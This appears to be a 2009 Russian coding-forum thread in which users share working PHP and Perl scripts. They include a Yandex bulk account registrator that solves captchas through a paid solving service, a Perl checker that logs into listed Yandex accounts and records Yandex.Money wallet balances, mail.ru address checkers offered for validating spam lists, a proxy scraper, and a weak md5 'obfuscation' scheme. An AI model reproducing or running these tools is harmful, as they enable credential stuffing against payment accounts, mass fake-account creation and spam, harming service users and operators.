'key' => $apikey,
'file' => '@'.$filename, //полный путь к файлу
'phrase' => $is_phrase,
'regsense' => $is_regsense,
'numeric' => $is_numeric,
'min_len' => $min_len,
'max_len' => $max_len,
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'http://ac-service.info/in.php');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 60);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $postdata);
$result = curl_exec($ch);
if (curl_errno($ch))
{
if ($is_verbose) echo "CURL returned error: ".curl_error($ch)."\n";
return false;
}
curl_close($ch);
if (strpos($result, "ERROR")!==false)
{
if ($is_verbose) echo "server returned error: $result\n";
return false;
}
else
{
$ex = explode("|", $result);
$captcha_id = $ex[1];
if ($is_verbose) echo "captcha sent, got captcha ID $captcha_id\n";
$waittime = 0;
if ($is_verbose) echo "waiting for $rtimeout seconds\n";
sleep($rtimeout);
while(true)
{
$result = file_get_contents('http://ac-service.info/res.php?key='.$apikey.'&action=get&id='.$captcha_id);
if (strpos($result, 'ERROR')!==false)
{
if ($is_verbose) echo "server returned error: $result\n";
return false;
}
if ($result=="CAPCHA_NOT_READY")
{
if ($is_verbose) echo "captcha is not ready yet\n";
$waittime += $rtimeout;
if ($waittime>$mtimeout)
{
if ($is_verbose) echo "timelimit ($mtimeout) hit\n";
break;
}
if ($is_verbose) echo "waiting for $rtimeout seconds\n";
sleep($rtimeout);
}
else
{
$ex = explode('|', $result);
if (trim($ex[0])=='OK') return trim($ex[1]);
}
}
return false;
}
}
function login()
{
$letters = 'abcdefghijklmopkqrstuvwxyz';
for ($p = 0; $p < 20; $p++)
{
$login .= $letters{rand(0, strlen($letters) - 1)};
}
return $login;
}
/* Пока не достигнем нужного количества e-mail/ftp, не заканчиваем регистрацию */
for ($y = 1; $y <= $ammount; $y++)
{
/* Генерируем Логин... */
$login = login();
/* ...имя */
$name = rand(0,7777777);
/* ...пароль */
$password = rand(0,7777777);
/* Выходи из почты */
post ('http://passport.yandex.ru/passport?mode=logout',null,'http://passport.yandex.ru/');
/* Начинаем регистрацию */
$result = post('http://passport.yandex.ru/passport?mode=register','step=two&filled=yes&fresh=&iname='.$name.'&fname='.$name.'&login='.$login.'&done=%C4%E0%EB%FC%F8%E5%A0%26%238594%3B','http://passport.yandex.ru/passport?mode=register&msg=mail&retpath=http://mail.yandex.ru');
/* Получаем значения */
preg_match('#ncrnd=(.*?)"#i',$result,$ncrnd);
preg_match('#idkey" value="(.*?)"#i',$result,$idkey);
preg_match('#\?idkey=(.*?)"#i',$result,$captcha);
/* Создаём картинку капчи */
file_put_contents('captcha.jpg',file_get_contents( 'http://passport.yandex.ru/digits?idkey='.$captcha[1]));
/* Распознаём её */
$text=recognize(getcwd()."/captcha.jpg",$ac_key,false);
/* Регистрируем E-mail... */
$result = post('http://passport.yandex.ru/passport?mode=register&ncrnd='.$ncrnd[1],'idkey='.$idkey[1].'&step=two&filled=yes&login='.$login.'&fname='.$name.'&iname='.$name.'&time='.time().'&passwd='.$password.'&passwd2='.$password.'&hintq=1&udhintq=&hinta=OTVET&hintasave=OTVET&questnum=1&hintqsave=&email=&phonenumber=&code='.$text.'&agreed=yes', 'http://passport.yandex.ru/passport?mode=register&ncrnd='.$_POST['ncrnd']);
/* ...и FTP */
$ftp = post('http://narod.yandex.ru/disk/narod/',null,'http://yandex.ru/');
/* Проверяем всё ли прошло успешно */
if(preg_match('#logout">(.*?)<#i',$result,$end))
{
/* Сохраняем результаты */
$fh = fopen($email, "a+");
$success - fwrite($fh, $login.'@yandex.ru'.$divider.$password."\r\n");
fclose($fh);
$na = fopen($narod, "a+");
$success - fwrite($na, $login.'.narod.ru'.$divider.$password."\r\n");
fclose($na);
}
}
/* geforse.name */
?>
Полуавтоматический регистратор E-mail Яндекс
http://pic.ipicture.ru/uploads/090829/thumbs/v5f6c9JiEv.jpg (http://geforse.name/coding/polyavtomaticheskij-registrator-email-yandeks/)
<?php
set_time_limit(0);
//-----------------//
$email = 'yandex.txt'; // Файл с E-mail
$divider = ':'; // Разделитель
//-----------------//
function post($url,$post,$refer)
{
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4");
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_REFERER, $refer);
curl_setopt($ch, CURLOPT_COOKIEJAR, "./cook");
curl_setopt($ch, CURLOPT_COOKIEFILE, "./cook");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
return $result;
}
/* Генерируем Логин... */
$letters = 'abcdefghijklmopkqrstuvwxyz';
for ($i = 0; $i < 20; $i++)
{
$login .= $letters{rand(0, strlen($letters) - 1)};
}
/* ...имя */
$name = rand(0,7777777);
/* ...пароль */
$password = rand(0,7777777);
/* Если нам передали капчу */
if($_POST['captcha'])
{
/* Отправляем данные*/
$result = post('http://passport.yandex.ru/passport?mode=register&ncrnd='.$_POST['ncrnd'],'idkey='.$_POST['idkey'].'&step=two&filled=yes&login='.$_POST['login'].'&fname='.$_POST['name'].'&iname='.$_POST['name'].'&time='.time().'&passwd='.$_POST['password'].'&passwd2='.$_POST['password'].'&hintq=1&udhintq=&hinta=OTVET&hintasave=OTVET&questnum=1&hintqsave=&email=&phonenumber=&code='.trim($_POST['captcha']).'&agreed=yes', 'http://passport.yandex.ru/passport?mode=register&ncrnd='.$_POST['ncrnd']);
/* Проверка правильности ввода капчи */
if (preg_match('#or">(.*?) н#i',$result,$bad_capt))
{
echo '<script>alert(\'Не правильный код!\')</script>';
}
else
{
/* Запись в файл */
$fh = fopen($email, "a+");
$success - fwrite($fh, $_POST['login'].'@yandex.ru'.$divider.$_POST['password']."\r\n");
fclose($fh);
}
Header('Location: index.php');
exit;
}
else
{
/* Если не передали капчу */
/* Выходим из почты */
post ('http://passport.yandex.ru/passport?mode=logout',null,'http://passport.yandex.ru/');
/* Начинаем регистрацию */
$result = post('http://passport.yandex.ru/passport?mode=register','step=two&filled=yes&fresh=&iname='.$name.'&fname='.$name.'&login='.$login.'&done=%C4%E0%EB%FC%F8%E5%A0%26%238594%3B','http://passport.yandex.ru/passport?mode=register&msg=mail&retpath=http://mail.yandex.ru');
/* Получаем значения */
preg_match('#ncrnd=(.*?)"#i',$result,$ncrnd);
preg_match('#idkey" value="(.*?)"#i',$result,$idkey);
preg_match('#\?idkey=(.*?)"#i',$result,$captcha);
/* Выводим форму для ввода капчи (в hidden передаём необходимые значения) */
echo '<img class="captcha-img" name="captcha" src="http://passport.yandex.ru/digits?idkey='.$captcha[1].'" alt=""><br>
<form name="captcha_form" action="index.php" method="POST">
<input type="text" name="captcha" value="" /><br>
<input type="hidden" name="ncrnd" value="'.$ncrnd[1].'" />
<input type="hidden" name="idkey" value="'.$idkey[1].'" />
<input type="hidden" name="name" value="'.$name.'" />
<input type="hidden" name="login" value="'.$login.'" />
<input type="hidden" name="password" value="'.$password.'" />
<input type="submit" value="ok">
</form>';
}
/* Выводим результат */
if (file_exists($email))
{
$quantity_email = count(file($email));
echo 'В базе <b>'.$quantity_email.'</b> E-mail';
}
/* geforse.name */
?>
/* geforse.name */ (http://geforse.name)
Разрешите побоянить =) Функция реверса строки:
<?php
$str = 'строка которую нужно реверснуть';
/* Самопальная функция для реверса строки */
function revers_string($str)
{
$return_data = '';
for ($i=0;$i < strlen(trim($str));$i++) {
$new_str[] = $str[$i];
}
$revers = array_reverse($new_str);
foreach ($revers as $str) {
$return_data .= $str;
}
return $return_data;
}
$new_string = revers_string($str);
echo $new_string.'<br />';
/* На примере списка асек: */
$file = file('list.txt');
foreach ($file as $f) {
$f = trim($f);
echo $f.';'.revers_string($f).'<br />';
}
?>
Результат:
ьтунсревер онжун юуроток акортс
123456;654321
516716;617615
А чем strrev() (http://ru.php.net/manual/en/function.strrev.php) не угодила?
Тем что я про неё не знал :D
PS d_x
<?php
$str = 'строка которую нужно реверснуть';
function revers_string($str)
{
$return_data = '';
for ($i=0;$i < strlen(trim($str));$i++) {
$new_str[] = $str[$i];
}
$revers = array_reverse($new_str);
foreach ($revers as $str) {
$return_data .= $str;
}
return $return_data;
}
$start = microtime();
echo revers_string($str);
$end = microtime();
echo $end - $start.'<br />';
$start = microtime();
echo strrev($str);
$end = microtime();
echo $end - $start.'<br />';
?>
login999
31.08.2009, 12:45
Python[2.6] скрипт для массовой проверки Google PR, AlexaRank, Yandex Tic.
Загрузить можно как из текстового файла, так и из базы формата dbm (сделано для M@rtein, идет определенный парсинг базы, сделано для очистки и выдирания БД Apache), если из текстового файла -то только список доменов, в выходной файл пишется link;PATH(если из dbm);PR,AR,TIC, претензия на ООП :D Прокся всеми потоками используется одна (экономно сцук :), но медленно идет подбор если прокси дерьмовые), данные хранятся в оперативке, многопоточность, грузит минимум данных. Гуй естественно )
Бля, не влез :(
Слил сюда:
http://dumpz.org/11933/
Может кому пригодиться, скрипт собирает прокси и сохраняет в файл...ставьте на cron и можете размещать список с прокси у себя на сайте :)
<?php
set_time_limit(0);
//-----------------//
$proxy_txt = "proxy.txt";
//-----------------//
function curl($url)
{
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4");
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
return $res_index = curl_exec($ch);
}
$proxy_file = "proxy_temp.txt";
/* samair.ru */
$page = curl('http://www.samair.ru/proxy/proxy-01.htm');
preg_match_all('#<a href="proxy-(.*?).htm">#', $page, $page_match);
for ($i = 0; $i < count($page_match[0])-1; $i++)
{
$curl = curl('http://www.samair.ru/proxy/proxy-'.$page_match[1][$i].'.htm');
$fh = fopen($proxy_file, "a+");
for ($p = 0; $p < 15; $p++)
{
preg_match_all('#<tr><td>(.*?)</td><td>#', $curl, $proxy);
$success - fwrite($fh, $proxy[1][$p]."\r\n");
}
fclose($fh);
}
/* proxy4free.com */
for ($p = 1; $p <= 2; $p++)
{
$list1 = curl('http://www.proxy4free.com/page'.$p.'.html');
$list1 = explode('<tr bgcolor="#ffffff" class="text" height=10>',$list1);
$fh = fopen($proxy_file, "a+");
for ($i = 1; $i <= 90; $i++)
{
if(preg_match_all('#<td>(.*?)</td>#', $list1[$i], $proxy)){
$success - fwrite($fh, $proxy[1][0].':'.$proxy[1][1]."\r\n");
}
}
fclose($fh);
}
/* hideme.ru */
$list1 = curl('http://hideme.ru/proxy-list/proxy-list-1-1'); // Лист с прокси 1...
$list2 = curl('http://hideme.ru/proxy-list/proxy-list-2-1'); // ...2
$fast1 = curl('http://hideme.ru/proxy-list/fast-proxy-1'); // Лист с быстрыми прокси 1...
$fast2 = curl('http://hideme.ru/proxy-list/fast-proxy-2'); // ...2
preg_match('#</div><br>'."\r\n".'(.*?)<br></div>#', $list1, $list1);
preg_match('#</div><br>'."\r\n".'(.*?)<br></div>#', $list2, $list2);
preg_match('#</div><br>'."\r\n".'(.*?)<br></div>#', $fast1, $fast1);
preg_match('#</div><br>'."\r\n".'(.*?)<br></div>#', $fast2, $fast2);
$fh = fopen($proxy_file, "a+");
$success - fwrite($fh, str_replace('<br>',"\r\n",$list1[1])."\r\n".str_replace('<br>',"\r\n",$list2[1])."\r\n".str_replace('<br>',"\r\n",$fast1[1])."\r\n".str_replace('<br>',"\r\n",$fast2[1])."\r\n");
fclose($fh);
/* Удаляем одинаковые прокси */
$_file=file($proxy_file);
$_file=array_values(array_unique($_file));
$fp=fopen($proxy_file,"w+");
for($i=0;$i<count($_file);$i++)
{
flush();
fputs($fp,$_file[$i]);
}
fclose($fp);
file_put_contents($proxy_txt,file_get_contents($pr oxy_file));
unlink($proxy_file)
/* geforse.name */
?>
heretic1990
03.09.2009, 21:25
geforse, а регистратор E-mail Яндекс регает только 1 мыло с 1 IP ? , просто у меня один регнится и дальше капча не грузится((
Яндекс регает только 1 мыло с 1 IP
Да, около 3 месяцев ограничения.
ни кто не обладает скриптом чека стим аккаунтов ?
geforse, а регистратор E-mail Яндекс регает только 1 мыло с 1 IP ? , просто у меня один регнится и дальше капча не грузится((
Только что с локалхоста зарегистрировал 10 штук
Мож кто-то выкладывал...
#!/usr/bin/perl
use LWP::UserAgent;
use HTTP::Cookies;
$url['0'] = 'http://passport.yandex.ru/passport?mode=auth';
$url['1'] = 'http://money.yandex.ru/';
$proxy = '89.110.23.94:5141'; # if u don't need proxy, just set # before this line
my $ua = LWP::UserAgent->new;
my $cookie_jar = HTTP::Cookies->new;
$ua->agent('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 4.2 (build 01102))');
push @{ $ua->requests_redirectable }, 'POST';
if($proxy =~ m/\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}:\d{1,6}/){
$ua->proxy('http', "http://$proxy/"); };
open(ACCS, "<accs.txt");
open(LOG, ">logs.txt");
@accs = <ACCS>; close (ACCS);
foreach (@accs){
($login, $pass) = split(':',$_);
$pass =~ s/ |\n//;
$ua->cookie_jar($cookie_jar);
$ua->post( $url['0'],
[login => $login,
passwd => $pass]);
my $response = $ua->post($url['1']);
$content = $response->content;
$sum = 'koshel\'ka net';
while( $content =~/<a href="\/history\.xml" class="in">В Кошельке<\/a><br><span class="sum"><nobr>(\d+,\d+)/g){$sum = $1};
print LOG "$login:$pass:$sum\n";
print "$login:$pass:$sum\n";
$sum = '0 =(';
$cookie_jar->clear_temporary_cookies;
}
close (LOG);
Мож кто-то выкладывал...
Вы, если, выкладываете то хоть описание пишите, ато когда ищеш что-то определенное читать каждый сорц немного напряжно.
Так как мой бложег (http://c0dedgarik.blogspot.com/) кроме друзей никто не смотрит решил выложить сюда...
В обозревателе Opera пользователь может включить поддержку пользовательских javascript-ов что зачастую бывает очень полезным занятием. (подробнее о UserJS можно прочитать тут (http://operafan.net/content/view/26/2/))
Недавно накрылся мой любимый скрипт позволяющий скачивать аудио с контакта и я решил написать свой собственный на его основе. В итоге у меня получились два скрипта [ Видео (http://zona-chat.narod.ru/opera/vkontvideo_garik.js) и Аудио (http://zona-chat.narod.ru/opera/vkontaudio_garik.js) ]
Первый соотвественно добавляет везде где есть аудио записи ссылку "Скачать »", а второй на странице с видео роликом добавляет "Скачать видеофайл »" (не удалось мне намудрить со стилями и ссылочка красиво не встала, зато эффектно выделяется ;)
мда скрипты интересные а скрипт чтоб подменял реферер может ктото наваять?только чтоб куда придет кклик был не ip хоста где установлен скрипт а ip кликнувшего ктото возьмется за это?
мда скрипты интересные а скрипт чтоб подменял реферер может ктото наваять?только чтоб куда придет кклик был не ip хоста где установлен скрипт а ip кликнувшего ктото возьмется за это?
function post($url,$post,$refer,$ua,$proxy)
{
$ch = curl_init($url);
curl_setopt($ch, $ua);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_REFERER, $refer);
curl_setopt($ch, CURLOPT_COOKIEJAR, "./cook");
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_PROXY, $proxy);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
return $result;
}
post('ссылка','запрос/ null-если его нет','рефер','юзер агент','прокси')
хм спасибо конечно но мне кажется в этом случае ip того что кликнул будет с прокси или я неправа?а если убрать прокси то буудет ip хоста вопрос был в том можно ли так чтоб после подмены реферер туда куда придет клик был ip юзера а не прокси или хоста где стоит скрипт
дело было вечером- делать было нефига, вот начеркал скрипт проверки мыла на майле на предмет занятости, выражаю благодарность Flooser, который указал на ошибки, писалось для себя, цели могут быть разные (можете грабером спарсить страницу с мылами на майле а может спам базу прочекать на валид) Написан на PHP так что суперскоростей не ждите, мыла которые надо прочекать кидаем в account.txt а незарегенные получаем в good.txt
<?php
/**
* @author Kusto
* @copyright 2009
*/
function curl($url,$post)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
curl_close($ch);
return $result;
};
$a=fopen("accounts.txt", "r");
while(!feof($a)){
flush();
$str = fgets($a, 100);
$acc = explode("@", $str);
$login = $acc[0];
$domain= $acc[1];
echo $str;
$url = "http://win.mail.ru/cgi-bin/passremind?action=login&Username=".$login."&Domain=".$domain;
$start = curl($url,$post_n);
$z=strpos($start, "Пользователь отсутствует.");
if ($z !== false)
{
echo"..........мыло свободно<br>";
$good=fopen("good.txt", "a+");
fwrite($good,$login."@".$domain."\n");
fclose($good);
}
else {
echo "..........забудь- его уже юзают<br>";
}
}
fclose($a);
?>
Прошу не пинать, возможно написанн и криво- но зато работает)))
делать было вечером- делать было нефига, вот начеркал скрипт проверки мыла на майле на предмет занятости, выражаю благодарность Flooser, который указал на ошибки, писалось для себя, цели могут быть разные (можете грабером спарсить страницу с мылами на майле а может спам базу прочекать на валид) Написан на PHP так что суперскоростей не ждите, мыла которые надо прочекать кидаем в account.txt а незарегенные получаем в good.txt
<?php
/**
* @author Kusto
* @copyright 2009
*/
function curl($url,$post)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
curl_close($ch);
return $result;
};
$a=fopen("accounts.txt", "r");
while(!feof($a)){
flush();
$str = fgets($a, 100);
$acc = explode("@", $str);
$login = $acc[0];
$domain= $acc[1];
echo $str;
$url = "http://win.mail.ru/cgi-bin/passremind?action=login&Username=".$login."&Domain=".$domain;
$start = curl($url,$post_n);
$z=strpos($start, "Пользователь отсутствует.");
if ($z !== false)
{
echo"..........мыло свободно<br>";
$good=fopen("good.txt", "a+");
fwrite($good,$login."@".$domain."\n");
fclose($good);
}
else {
echo "..........забудь- его уже юзают<br>";
}
}
fclose($a);
?>
Прошу не пинать, возможно написанн и криво- но зато работает)))
<?php
$a = file("acc.txt");
$good = fopen("good.txt", "a+");
foreach ($a as $acc) {
echo $acc;
$acc = explode("@", $acc);
$url = file_get_contents("http://win.mail.ru/cgi-bin/passremind?action=login&Username=" .
$acc[0] . "&Domain=" . $acc[1]);
if (strpos($url, "Пользователь отсутствует.")) {
echo "..........мыло свободно<br>";
fwrite($good, $login . "@" . $domain . "\n");
} else
echo "..........забудь- его уже юзают<br>";
flush();
ob_flush();
}
fclose($good);
?
Изучи код,есть боле удобные функции ;)
<?php
$a = file("acc.txt");
$good = fopen("good.txt", "a+");
foreach ($a as $acc) {
echo $acc;
$acc = explode("@", $acc);
$url = file_get_contents("http://win.mail.ru/cgi-bin/passremind?action=login&Username=" .
$acc[0] . "&Domain=" . $acc[1]);
if (strpos($url, "Пользователь отсутствует.")) {
echo "..........мыло свободно<br>";
fwrite($good, $login . "@" . $domain . "\n");
} else
echo "..........забудь- его уже юзают<br>";
flush();
ob_flush();
}
fclose($good);
?
Изучи код,есть боле удобные функции ;)
как ты указал- так конечно намного красивее, единственное ошибка в коде- несортирует на бед и гуд (счас буду разбираться)
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html dir="ltr" lang="ru">
<head>
<title>Проверь занято ли твоё мыло!</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251" >
<meta http-equiv="Content-Language" content="ru">
<meta name="author" content="b3">
<meta name="Copyright" content="Copyright (c) b3">
<meta http-equiv="Pragma" content="no-cache">
<meta http-equiv="Expires" content="-1">
<meta http-equiv="Cache-Control" content="no-cache">
<meta name="keywords" content="gmail, yahoo, yandex, mail">
<meta name="description" content="Скрипт определения на занятость логина почтовых сервисов">
<script type="text/javascript" src="jquery.js"></script>
<script language="JavaScript">
var checked = 0;
function check_all() {
if (checked == 0) {
$('input:checkbox').each(function(){
$(this).attr({checked:"checked"});
});
checked = 1;
} else {
$('input:checkbox').each(function(){
$(this).attr({checked:""});
});
checked = 0;
}
}
</script>
<?php
function Form()
{
echo <<<HTML
<table align="center" border="1">
<form method="post" enctype="application/x-www-form-urlencoded">
<tr>
<td colspan="2" align="center"><input type="text" align="CENTER" size="30" maxlength="30" name="login" /></td>
</tr>
<tr>
<td align="center"><b>ВСЕ</b></td>
<td align="center"><input type="checkbox" onClick="check_all()"></td>
</tr>
<tr>
<td align="center">yahoo.com</td>
<td align="center"><input type="checkbox" value="yahoo.com" name="yahoo" /></td>
</tr>
<tr>
<td align="center">ymail.com</td>
<td align="center"><input type="checkbox" value="ymail.com" name="ymail" /></td>
</tr>
<tr>
<td align="center">rocketmail.com</td>
<td align="center"><input type="checkbox" value="rocketmail.com" name="rocketmail" /></td>
</tr>
<tr>
<td align="center">mail.ru</td>
<td align="center"><input type="checkbox" value="mail.ru" name="mail" /></td>
</tr>
<tr>
<td align="center">list.ru</td>
<td align="center"><input type="checkbox" value="list.ru" name="list" /></td>
</tr>
<tr>
<td align="center">bk.ru</td>
<td align="center"><input type="checkbox" value="bk.ru" name="bk" /></td>
</tr>
<tr>
<td align="center">inbox.ru</td>
<td align="center"><input type="checkbox" value="inbox.ru" name="inbox" /></td>
</tr>
<tr>
<td align="center">yandex.ru</td>
<td align="center"><input type="checkbox" value="yandex" name="yandex" /></td>
</tr>
<tr>
<td align="center">gmail.com</td>
<td align="center"><input type="checkbox" value="gmail" name="gmail" /></td>
</tr>
<tr>
<td align="center">rambler.ru</td>
<td align="center"><input type="checkbox" value="rambler" name="rambler" /></td>
</tr>
<tr>
<td colspan="2" align="center"><input type="submit" value="Check" /></td>
</tr>
</form>
</table>
HTML;
}
class check
{
var $login = 'b3';
var $result = '';
public function check_yahoo($domain='yahoo.com')
{
$url = "https://edit.yahoo.com/reg_json?PartnerName=yahoo_default&RequestVersion=1&AccountID=$this->login@$domain&GivenName=&FamilyName=&ApiName=ValidateFields&intl=us&5745742";
$ua = 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4';
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_USERAGENT, $ua);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$res = curl_exec($ch);
if(strpos($res,'{"ResultCode":"SUCCESS"}'))
{
return $this->result[$domain] = 'Свободен';
} else {
return $this->result[$domain] = 'Занят';
}
}
function check_mailru($domain='mail.ru')
{
$ch = curl_init('http://win.mail.ru/cgi-bin/signup');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIEJAR, './cook');
curl_setopt($ch, CURLOPT_COOKIEFILE, './cook');
$res = curl_exec($ch);
if(preg_match('#var name_ = document\.uinfo\.(.*)\.value;#',$res,$matches))
{
$field_email = $matches[1];
if(preg_match('#x_reg_id=(.*)&#',$res,$matches))
{
$x_reg_id = $matches[1];
$ch = curl_init('http://win.mail.ru/cgi-bin/checklogin');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIEJAR, './cook');
curl_setopt($ch, CURLOPT_COOKIEFILE, './cook');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, "RegistrationDomain=$domain&$field_email=$this->login&x_reg_id=$x_reg_id");
$res = curl_exec($ch);
if(preg_match('#^0$#',$res))
return $this->result[$domain] = 'Свободен';
else
return $this->result[$domain] = 'Занят';
}
}
}
function check_yandex()
{
$res = file_get_contents("http://passport.yandex.ru/passport?mode=constructlogin&login=$this->login&iname=&fname=&reqid=640480");
if(strpos($res,'"input_login_status":"free"'))
return $this->result['yandex'] = 'Свободен';
else
return $this->result['yandex'] = 'Занят';
}
function check_gmail()
{
$ch = curl_init("https://www.google.com/accounts/CheckAvailability?service=mail&continue=http://www.google.com&Email=$this->login&FirstName=&LastName=&formId=createaccount&inputId=Email&dsh=-4209551778079217616");
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$res = curl_exec($ch);
if(preg_match('#is available</font>$#',$res))
return $this->result['gmail'] = 'Свободен';
else
return $this->result['gmail'] = 'Занят';
}
function check_rambler()
{
$ch = curl_init('http://id.rambler.ru/script/newuser.cgi');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, "back=&step=one&login=$this->login&firstname=Vyacheslav&lastname=Graberzcomovich");
$res = curl_exec($ch);
$errno = curl_errno($ch);
$error = curl_error($ch);
if(preg_match('#К сожалению, на Рамблере уже есть пользователь#',$res))
return $this->result['rambler'] = 'Занят';
if(preg_match('#Рамблер и ICQ#',$res))
return $this->result['rambler'] = 'Свободен';
if($errno > 0)
return $this->result['rambler'] = $errno.':'.$error;
}
}
if(isset($_POST['login']))
{
$a = new check;
$a->login = $_POST['login'];
if(isset($_POST['yahoo']))
$a->check_yahoo();
if(isset($_POST['ymail']))
$a->check_yahoo('ymail.com');
if(isset($_POST['rocketmail']))
$a->check_yahoo('rocketmail.com');
if(isset($_POST['mail']))
$a->check_mailru('mail.ru');
if(isset($_POST['list']))
$a->check_mailru('list.ru');
if(isset($_POST['bk']))
$a->check_mailru('bk.ru');
if(isset($_POST['inbox']))
$a->check_mailru('inbox.ru');
if(isset($_POST['yandex']))
$a->check_yandex();
if(isset($_POST['gmail']))
$a->check_gmail();
if(isset($_POST['rambler']))
$a->check_rambler();
foreach ($a->result as $key => $value) {
echo $key.':'.$value.'<br />';
}
} else {
echo '<p align="center">Введите желаемый Логин:</p>';
Form();
}
?>
Незабудь подключить jquery.js
результат:
yahoo.com:Свободен
ymail.com:Свободен
rocketmail.com:Свободен
mail.ru:Свободен
list.ru:Свободен
bk.ru:Свободен
inbox.ru:Свободен
yandex:Занят
gmail:Свободен
rambler:Свободен
Уродуем md5 хеш,до неузнаваемости.
function encode_ezom($md5)
{
$array_md5 = str_split($md5);
$array_copy_md5 = $array_md5;
//print_r(array_keys($array_md5,"a"));
$unique = array_unique($array_md5);
$array_md5 = array_values(array_unique($array_md5));
$numm .= ':';
//print_r($array_md5);
for ($i = 0; $i < count($array_md5); $i++) {
$chars .= $array_md5[$i];
$array_keys = array_keys($array_copy_md5, $array_md5[$i]);
for ($j = 0; $j < count($array_keys); $j++) {
if ($j != count($array_keys) - 1) {
$numm .= $array_keys[$j] . '.';
} else {
$numm .= $array_keys[$j];
}
}
$numm .= ':';
}
return ($chars . $numm);
}
function decode_ezhom($ezhom)
{
$match = Explode(':', $ezhom);
unset($match[count($match) - 1]);
$mini_hash = str_split($match[0]);
for ($i = 1; $i < count($match); $i++) {
$char = explode('.', $match[$i]);
for ($t = 0; $t < count($char); $t++) {
$result[$char[$t]] = $mini_hash[$i - 1];
}
}
ksort($result);
foreach ($result as $key => $val) {
$hash .= $val;
}
return ($hash);
}
$md5 = md5(rand());
echo 'Начальный <b>MD5</b> хеш: ' . $md5 . '<br>';
$ezhom = encode_ezom($md5);
echo 'За<b>EZHOM</b>еный хеш: ' . $ezhom . '<br>';
$md5 = decode_ezhom($ezhom);
echo 'Раз<b>EZHOM</b>еный хеш: ' . $md5 . '<br>';
Принцип работы прост:
- Удаляем все дубли цифер,букв из начального хеша.
- Делаем реверс полученого результата.
- Заводим отдельный массив,в котором храняться ключи,от цыфр и букв в изначальном хеше.
Собственно:
Начальный MD5 хеш: 90c838391b2bb4cf27115449e681bf84;
ЗаEZHOMеный хеш: 6e57f42b138c09;
+ Ключи для расшифровки: :0.7.23:1:2.14:3.5.26.30:4.6:8.18.19.27:9.11.12.28 :10.16:13.21.22.31:15.29:17:20:24:25:
РазEZHOMеный хеш: 90c838391b2bb4cf27115449e681bf84
Помоему,очень удобная защита от недохеккеров.
Храним в таблице например так:
hash: 6e57f42b138c09
keys::0.7.23:1:2.14:3.5.26.30:4.6:8.18.19.27:9.11. 12.28:10.16:13.21.22.31:15.29:17:20:24:25:
Собственно все.
Штука ацкая,и туда апихано много-ого различных циклов,чтобы сделать код менее читаемым.Можно было убрать нах 2 массива,но не нравиться так =)
m0Hze Плохой способ скрытия по причинам:
1) После декодирования (в случае известного декодера) - получаем исходный МД5, который быстро брутится
2) Необходимость дополнительного поля в БД для расшифровки, которая ничего не скрывает
Проще использовать mhash + MHASH_SHA256 - нет такой обширной базы хэшей, как для мд5, нет нормальной поддержки КУДА для этого типа хеша, плюс скорость перебора меньше
m0Hze Плохой способ скрытия по причинам:
1) После декодирования (в случае известного декодера) - получаем исходный МД5, который быстро брутится
2) Необходимость дополнительного поля в БД для расшифровки, которая ничего не скрывает
Проще использовать mhash + MHASH_SHA256 - нет такой обширной базы хэшей, как для мд5, нет нормальной поддержки КУДА для этого типа хеша, плюс скорость перебора меньше
Никакого скрытия,просто мне захотелось поломать мозг школте в своей библиотеке,ибо ктото смог залить шел(впервые за 2 года(),вот я и извращаюсь с хешами,дабы их усложнить без изменения самого алгоритма.
